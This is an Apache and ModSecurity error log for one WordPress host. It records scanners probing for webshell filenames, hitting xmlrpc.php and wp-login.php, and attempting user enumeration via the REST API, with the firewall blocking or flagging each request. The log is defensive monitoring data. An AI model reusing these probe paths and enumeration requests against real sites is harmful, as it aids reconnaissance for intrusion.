[Fri Mar 27 18:18:26.042170 2026] [:error] [pid 27851:tid 27876] [client 20.91.226.172:10462] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acZZcnR2ccxe3RMCLbrWiQAAANI"]
[Fri Mar 27 18:18:26.597113 2026] [:error] [pid 27750:tid 27833] [client 20.91.226.172:22979] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "acZZcoaSil5rd17ieLzcSgAAAI8"]
[Fri Mar 27 18:18:27.193111 2026] [:error] [pid 27851:tid 27870] [client 20.91.226.172:31944] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "acZZc3R2ccxe3RMCLbrWjwAAAMw"]
[Fri Mar 27 18:18:27.744467 2026] [:error] [pid 4341:tid 4350] [client 20.91.226.172:12525] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "acZZc-KJWrNB5dMlERF5YAAAAYc"]
[Fri Mar 27 18:18:28.343772 2026] [:error] [pid 27743:tid 27778] [client 20.91.226.172:23017] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "acZZdCA46UYYLqzw99Cu3wAAAA4"]
[Fri Mar 27 18:18:28.945867 2026] [:error] [pid 63897:tid 63923] [client 20.91.226.172:41364] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acZZdGVSkmYmLu7ycYgwHwAAARg"]
[Fri Mar 27 18:18:29.524059 2026] [:error] [pid 63897:tid 63906] [client 20.91.226.172:40522] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acZZdWVSkmYmLu7ycYgwIQAAAQc"]
[Fri Mar 27 18:18:30.139452 2026] [:error] [pid 63897:tid 63909] [client 20.91.226.172:19460] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acZZdmVSkmYmLu7ycYgwJgAAAQo"]
[Fri Mar 27 18:18:30.703595 2026] [:error] [pid 63897:tid 63912] [client 20.91.226.172:11504] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acZZdmVSkmYmLu7ycYgwKgAAAQ0"]
[Fri Mar 27 18:18:31.269791 2026] [:error] [pid 27743:tid 27775] [client 20.91.226.172:20696] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "acZZdyA46UYYLqzw99Cu6gAAAAs"]
[Fri Mar 27 18:18:31.881857 2026] [:error] [pid 63897:tid 63921] [client 20.91.226.172:20718] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "acZZd2VSkmYmLu7ycYgwMwAAARY"]
[Fri Mar 27 18:18:32.423703 2026] [:error] [pid 4293:tid 4303] [client 20.91.226.172:64165] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "acZZeJLjeJUC3OKtEx84NwAAAUg"]
[Fri Mar 27 18:18:32.982013 2026] [:error] [pid 63897:tid 63899] [client 20.91.226.172:27653] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "acZZeGVSkmYmLu7ycYgwOAAAAQA"]
[Fri Mar 27 18:18:33.600642 2026] [:error] [pid 27750:tid 27823] [client 20.91.226.172:35983] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "acZZeYaSil5rd17ieLzcVAAAAIU"]
[Fri Mar 27 18:18:34.210736 2026] [:error] [pid 4293:tid 4297] [client 20.91.226.172:28241] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "acZZepLjeJUC3OKtEx84PAAAAUI"]
[Fri Mar 27 18:18:34.742596 2026] [:error] [pid 27743:tid 27766] [client 20.91.226.172:21874] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "acZZeiA46UYYLqzw99Cu7QAAAAI"]
[Fri Mar 27 18:18:35.277466 2026] [:error] [pid 27749:tid 27805] [client 20.91.226.172:16621] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "acZZe8EqyoMni2Q6_X7g-AAAAE4"]
[Fri Mar 27 18:18:35.849483 2026] [:error] [pid 27743:tid 27783] [client 20.91.226.172:16963] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acZZeyA46UYYLqzw99Cu8AAAABM"]
[Fri Mar 27 18:18:36.416998 2026] [:error] [pid 63897:tid 63904] [client 20.91.226.172:10131] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acZZfGVSkmYmLu7ycYgwUwAAAQU"]
[Fri Mar 27 18:18:36.954991 2026] [:error] [pid 27743:tid 27779] [client 20.91.226.172:14542] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acZZfCA46UYYLqzw99Cu9QAAAA8"]
[Fri Mar 27 18:18:37.546705 2026] [:error] [pid 63897:tid 63905] [client 20.91.226.172:19938] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acZZfWVSkmYmLu7ycYgwWwAAAQY"]
[Fri Mar 27 18:18:38.074556 2026] [:error] [pid 63897:tid 63904] [client 20.91.226.172:7343] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "acZZfmVSkmYmLu7ycYgwXwAAAQU"]
[Fri Mar 27 18:18:38.614750 2026] [:error] [pid 4341:tid 4359] [client 20.91.226.172:2355] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "acZZfuKJWrNB5dMlERF5cQAAAZA"]
[Fri Mar 27 18:18:39.155307 2026] [:error] [pid 27743:tid 27764] [client 20.91.226.172:36044] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "acZZfyA46UYYLqzw99Cu9gAAAAA"]
[Fri Mar 27 18:18:39.715474 2026] [:error] [pid 63897:tid 63903] [client 20.91.226.172:19840] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "acZZf2VSkmYmLu7ycYgwaQAAAQQ"]
[Fri Mar 27 18:18:40.246962 2026] [:error] [pid 27750:tid 27834] [client 20.91.226.172:22239] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acZZgIaSil5rd17ieLzcXAAAAJA"]
[Fri Mar 27 18:18:40.778768 2026] [:error] [pid 27743:tid 27775] [client 20.91.226.172:42666] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acZZgCA46UYYLqzw99Cu-wAAAAs"]
[Fri Mar 27 18:18:41.321329 2026] [:error] [pid 4293:tid 4318] [client 20.91.226.172:42673] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acZZgZLjeJUC3OKtEx84SAAAAVc"]
[Fri Mar 27 18:18:41.882647 2026] [:error] [pid 4293:tid 4308] [client 20.91.226.172:24107] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acZZgZLjeJUC3OKtEx84SwAAAU0"]
[Fri Mar 27 23:17:25.462143 2026] [:error] [pid 4341:tid 4350] [client 45.168.88.179:26145] [client 45.168.88.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.88.179, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acafheKJWrNB5dMlERHRfgAAAYc"]
[Fri Mar 27 23:17:25.473963 2026] [proxy_fcgi:error] [pid 4341:tid 4350] [client 45.168.88.179:26145] AH01071: Got error 'Primary script unknown'
[Sat Mar 28 09:25:48.247037 2026] [:error] [pid 43547:tid 43555] [client 2.58.56.116:54908] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "accuHD4ZEfdetXP-9aC9DgAAAgY"]
[Sat Mar 28 09:25:48.749023 2026] [:error] [pid 64859:tid 64881] [client 2.58.56.116:55385] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "accuHG3qEBHXq3rHdBm4_QAAAAA"]
[Sat Mar 28 09:25:49.250322 2026] [:error] [pid 43547:tid 43568] [client 2.58.56.116:55870] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "accuHT4ZEfdetXP-9aC9HgAAAhM"]
[Sat Mar 28 09:25:49.752960 2026] [:error] [pid 43579:tid 43618] [client 2.58.56.116:56234] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "accuHSRqN4JVI8gB7AmlcwAAAoo"]
[Sat Mar 28 09:25:50.268886 2026] [:error] [pid 34597:tid 34624] [client 2.58.56.116:56375] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "accuHoluI7-e5s1cafc60wAAAVc"]
[Sat Mar 28 15:17:21.120419 2026] [:error] [pid 64861:tid 64958] [client 152.58.97.196:14304] [client 152.58.97.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.97.196, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aceAgexK22_lUN2kvnXwuQAAAJc"]
[Sat Mar 28 15:17:21.139907 2026] [proxy_fcgi:error] [pid 64861:tid 64958] [client 152.58.97.196:14304] AH01071: Got error 'Primary script unknown'
[Sat Mar 28 20:12:59.492313 2026] [:error] [pid 34631:tid 34679] [client 104.28.161.186:53960] [client 104.28.161.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "acfFyztzjMMS6kojpeRCoQAAAdM"]
[Sun Mar 29 00:37:08.823731 2026] [proxy_fcgi:error] [pid 39514:tid 39531] [client 57.129.106.133:60712] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 01:19:01.331434 2026] [:error] [pid 39428:tid 39467] [client 103.92.212.31:57297] [client 103.92.212.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.92.212.31, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acgNhaXMrozFMIaP8nLzRQAAAEg"]
[Sun Mar 29 01:19:01.342172 2026] [proxy_fcgi:error] [pid 39428:tid 39467] [client 103.92.212.31:57297] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 01:22:59.152745 2026] [:error] [pid 39514:tid 39546] [client 138.0.244.231:43810] [client 138.0.244.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.0.244.231, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acgOcykUyvlQod6qQu2GcQAAANU"]
[Sun Mar 29 01:22:59.164000 2026] [proxy_fcgi:error] [pid 39514:tid 39546] [client 138.0.244.231:43810] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 03:24:44.422181 2026] [:error] [pid 11588:tid 11594] [client 45.159.22.169:53125] [client 45.159.22.169] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "acgq_AhH5525WHuzKfp8uwAAAUQ"], referer: https://www.google.com
[Sun Mar 29 03:24:47.453307 2026] [:error] [pid 39427:tid 39443] [client 45.159.22.169:25191] [client 45.159.22.169] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acgq_1vLf0RDUqcYq-ZnSgAAAAs"]
[Sun Mar 29 03:24:47.453573 2026] [:error] [pid 39427:tid 39443] [client 45.159.22.169:25191] [client 45.159.22.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.22.169, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acgq_1vLf0RDUqcYq-ZnSgAAAAs"]
[Sun Mar 29 03:24:47.463185 2026] [proxy_fcgi:error] [pid 39427:tid 39443] [client 45.159.22.169:25191] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 03:24:49.019001 2026] [:error] [pid 39427:tid 39446] [client 45.159.22.169:61885] [client 45.159.22.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.159.22.169, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acgrAVvLf0RDUqcYq-ZnVgAAAA4"], referer: https://www.google.com
[Sun Mar 29 03:24:49.023090 2026] [proxy_fcgi:error] [pid 39427:tid 39446] [client 45.159.22.169:61885] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Sun Mar 29 03:24:50.659022 2026] [:error] [pid 39428:tid 39472] [client 45.159.22.169:65281] [client 45.159.22.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.159.22.169, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acgrAqXMrozFMIaP8nISdAAAAE0"], referer: https://www.google.com
[Sun Mar 29 03:24:50.663476 2026] [proxy_fcgi:error] [pid 39428:tid 39472] [client 45.159.22.169:65281] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Sun Mar 29 05:02:41.199070 2026] [proxy_fcgi:error] [pid 1524:tid 1542] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:41.408125 2026] [proxy_fcgi:error] [pid 1524:tid 1527] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:41.636667 2026] [proxy_fcgi:error] [pid 1524:tid 1536] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:41.847544 2026] [proxy_fcgi:error] [pid 1524:tid 1552] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:42.056892 2026] [proxy_fcgi:error] [pid 1524:tid 1549] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:42.268512 2026] [proxy_fcgi:error] [pid 1524:tid 1545] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:42.477815 2026] [proxy_fcgi:error] [pid 1524:tid 1535] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:42.686890 2026] [proxy_fcgi:error] [pid 1524:tid 1554] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:42.896117 2026] [proxy_fcgi:error] [pid 1524:tid 1553] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:43.105148 2026] [proxy_fcgi:error] [pid 1524:tid 1547] [client 20.122.187.158:28397] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:02:43.310603 2026] [:error] [pid 1524:tid 1530] [client 20.122.187.158:28397] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "achB81oaWSl2asqQCh8N5wAAAQI"]
[Sun Mar 29 05:02:43.717443 2026] [:error] [pid 32254:tid 32286] [client 20.122.187.158:28405] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "achB86ug2IHuyGgCTn8MOgAAABY"]
[Sun Mar 29 05:02:44.127403 2026] [:error] [pid 32255:tid 32302] [client 20.122.187.158:28298] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "achB9Gnfn-AtRoMbquxE6QAAAEs"]
[Sun Mar 29 05:02:44.535889 2026] [:error] [pid 32254:tid 32284] [client 20.122.187.158:28365] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "achB9Kug2IHuyGgCTn8MOwAAABQ"]
[Sun Mar 29 05:02:44.940948 2026] [:error] [pid 32359:tid 32368] [client 20.122.187.158:28297] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "achB9AMb8G3UzfQP3WjKXwAAAMc"]
[Sun Mar 29 05:02:45.357541 2026] [:error] [pid 32254:tid 32265] [client 20.122.187.158:28369] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "achB9aug2IHuyGgCTn8MPQAAAAE"]
